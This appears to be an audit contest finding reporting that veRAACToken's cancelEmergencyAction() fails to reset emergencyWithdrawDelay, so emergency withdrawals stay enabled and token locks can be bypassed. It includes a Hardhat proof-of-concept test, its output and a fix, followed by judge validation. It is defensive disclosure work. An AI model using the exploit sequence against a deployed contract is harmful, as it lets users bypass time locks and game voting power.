Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Emergency Withdrawal Remains Active After Cancellation

Summary:

The veRAACToken contract's emergency withdrawal mechanism remains active even after the emergency action is cancelled, allowing users to withdraw their locked tokens indefinitely. This breaks the core lock mechanism of the vote-escrow system.

Vulnerability Details:

The vulnerability exists in the interaction between enableEmergencyWithdraw() and cancelEmergencyAction():

function enableEmergencyWithdraw() external onlyOwner withEmergencyDelay(EMERGENCY_WITHDRAW_ACTION) {
emergencyWithdrawDelay = block.timestamp + EMERGENCY_DELAY;
emit EmergencyWithdrawEnabled(emergencyWithdrawDelay);
}
function cancelEmergencyAction(bytes32 actionId) external onlyOwner {
delete _emergencyTimelock[actionId];
// @audit emergencyWithdrawDelay is not set back to zero
emit EmergencyActionCancelled(actionId);
}

The issue arises because:

  • enableEmergencyWithdraw() sets emergencyWithdrawDelay

  • cancelEmergencyAction() only deletes the action from _emergencyTimelock

  • emergencyWithdrawDelay is never reset

  • emergencyWithdraw() only checks this delay:

function emergencyWithdraw() external nonReentrant {
if (emergencyWithdrawDelay == 0 || block.timestamp < emergencyWithdrawDelay)
revert EmergencyWithdrawNotEnabled();
// @audit only check for the emergencyWithdrawDelay
// ... withdrawal logic
}

Impact:

  • Lock Mechanism Compromise: Users can permanently bypass token lock periods, this allow anyone to withdraw all their locked RAACTokens anytime they want so far the enableEmergencyWithdraw has been called once. this breaks the whole lock mechanism of the veRAACtoken contract.

  • Vote-Escrow Model Breakdown:

    • veRAACToken's value proposition relies on users locking RAAC for extended periods

    • Longer locks = More voting power = Higher boost multipliers

    • With permanent emergency withdrawals:

      • Users can lock for maximum duration (4 years)

      • Get maximum voting power/boost

      • Withdraw immediately through emergency withdrawal

      • Effectively gaming the time-value mechanism

  • Emergency state cannot be effectively cancelled

    Emergency state becomes permanent and no way to return to normal operations then, the protocol loses control over lock mechanism. This will damage protocol's credibility and may lead to mass withdrawals and protocol instability.

PoC:

it.only("should allow withdraw indefinitely after cancelling emergency withdraw", async () => {
const amount = ethers.parseEther("1000");
const duration = 365 * 24 * 3600;
await raacToken.mint(users[0].address, amount);
await raacToken
.connect(users[0])
.approve(await veRAACToken.getAddress(), amount);
console.log(
"initial balance before lock: ",
await raacToken.balanceOf(users[0].address)
);
await veRAACToken.connect(users[0]).lock(amount, duration);
// Get initial balances
const initialBalance = await raacToken.balanceOf(users[0].address);
console.log("initialBalance after lock: ", initialBalance);
console.log("\n Locked raacToken for :", duration);
// Schedule emergency withdraw action
const EMERGENCY_WITHDRAW_ACTION = ethers.keccak256(
ethers.toUtf8Bytes("enableEmergencyWithdraw")
);
await veRAACToken
.connect(owner)
.scheduleEmergencyAction(EMERGENCY_WITHDRAW_ACTION);
// Wait for emergency delay
await time.increase(EMERGENCY_DELAY);
console.log("\ntime increased to emergency delay", EMERGENCY_DELAY);
// Enable emergency withdraw
await veRAACToken.connect(owner).enableEmergencyWithdraw();
// Wait for emergency withdraw delay
await time.increase(EMERGENCY_DELAY);
console.log(
"\ntime increased to emergency withdraw delay",
EMERGENCY_DELAY
);
// Perform emergency withdrawal
await veRAACToken
.connect(owner)
.cancelEmergencyAction(EMERGENCY_WITHDRAW_ACTION);
await veRAACToken.connect(users[0]).emergencyWithdraw();
console.log(
"balanace after emergency withdraw: ",
await raacToken.balanceOf(users[0].address)
);
// try to lock 1000 RAAC token and withdraw immediately
await raacToken
.connect(users[0])
.approve(await veRAACToken.getAddress(), amount);
await veRAACToken.connect(users[0]).lock(amount, duration);
await veRAACToken.connect(users[0]).emergencyWithdraw();
console.log(
"balance after second emergency withdraw: ",
await raacToken.balanceOf(users[0].address)
);
expect(await raacToken.balanceOf(users[0].address)).to.equal(
initialBalance + BigInt(amount)
);
expect(await veRAACToken.emergencyWithdrawDelay()).to.be.greaterThan(0);
});

Output of the test:

✔ should allow users to extend lock duration
Emergency Withdrawal
initial balance before lock: 1001000000000000000000000n
initialBalance after lock: 1000000000000000000000000n
Locked raacToken for : 31536000
time increased to emergency delay 259200
time increased to emergency withdraw delay 259200
balanace after emergency withdraw: 1001000000000000000000000n
balance after second emergency withdraw: 1001000000000000000000000n
✔ should allow withdraw indefinitely after cancelling emergency withdraw

The test shows that a user can exploit the emergency withdrawal mechanism in the following sequence:

1. Initial Setup:

  • User has 1000 RAAC tokens minted to their address

  • User approves veRAACToken contract to spend their RAAC

2. Lock Operation:

  • User locks 1000 RAAC tokens for 1 year (365 days)

  • His RAAC balance decreases by 1000 tokens

  • He received veRAACToken representing his voting power

3. Emergency Process:

  • Owner schedules emergency withdrawal action the next day of the lock

  • System waits for first emergency delay (3 days)

  • Owner enables emergency withdrawal

  • System waits for second emergency delay (3 days)

4. Critical Exploit:

  • Owner cancels the emergency action immediately

  • User was still able to execute emergency withdrawal

  • User successfully withdraws his 1000 RAAC tokens

  • His balance returns to initial amount

  • User locked 1000 RAAC tokens again and then withdraw it immediately using the emergencyWithdraw function.

5. Verification:

  • Test confirms user's RAAC balance is restored

  • Importantly, emergencyWithdrawDelay remains greater than 0

  • This means emergency withdrawal stays permanently enabled

The test demonstrates that cancelling the emergency action fails to disable the emergency withdrawal functionality, allowing users to bypass lock periods indefinitely.

Tools Used:

Manual review

Recommendations:

  • Add emergency state reset in cancellation:

function cancelEmergencyAction(bytes32 actionId) external onlyOwner {
delete _emergencyTimelock[actionId];
emergencyWithdrawDelay = 0; // Reset emergency state
emit EmergencyActionCancelled(actionId);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::emergencyWithdraw permanently enables lock-bypassing after activation with no way to disable it, permanently breaking token time-locking functionality

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::emergencyWithdraw permanently enables lock-bypassing after activation with no way to disable it, permanently breaking token time-locking functionality

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.